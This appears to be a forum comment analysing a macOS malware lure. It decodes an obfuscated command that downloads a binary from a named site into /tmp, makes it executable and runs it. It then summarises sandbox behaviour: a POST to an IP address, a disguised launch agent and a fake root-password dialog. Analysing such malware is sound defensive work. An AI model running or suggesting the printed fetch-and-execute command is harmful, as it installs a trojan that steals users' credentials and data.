Yeah I was hoping to see the actual script content
echo -n 'Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHB
zOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRja
GE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakt
tTVVGRVl2OEFsZktS' | base64 --decode
curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR
$ curl -o foo.bar "URL"
$ file ~/Downloads/foo.bar
foo.bar: Mach-O universal binary with 2 architectures:
[x86_64:Mach-O 64-bit executable x86_64 - Mach-O 64-bit executable x86_64]
[arm64:Mach-O 64-bit executable arm64 - Mach-O 64-bit executable arm64]
foo.bar (for architecture x86_64): Mach-O 64-bit executable x86_64
foo.bar (for architecture arm64): Mach-O 64-bit executable arm64
Reading through the VirusTotal Behavior page, I can see that the Trojan…
• Sends a POST request with 18 bytes to http://83.219.248.194/fulfulde.php, which then returns a text/html page
• Then, it sends DNS queries to h3.apis.apple.map.fastly.net (or maybe this is macOS itself)
• Then, it triggers several open(2) syscalls, among which I can see Mail.app and Messages.app
• Then, it uses a seemingly innocuous binary called “~/.local-6FFD23F2-D3F2-52AC-8572-1D7B854F8BC7/GoogleUpdater” along with “~/Desktop/sample”
• Then, launches a process (via macOS Lauch Agents) called “com.google.captchasvc”
• Then, uses AppleScript to launch a dialog window with this message “macOS needs to access System Settings.Please enter password for root:”
After this I assume it’s game over.
TrendMicro analysis (Sep 04, 2025) -- https://www.trendmicro.com/en_us/research/25/i/an-mdr-analys...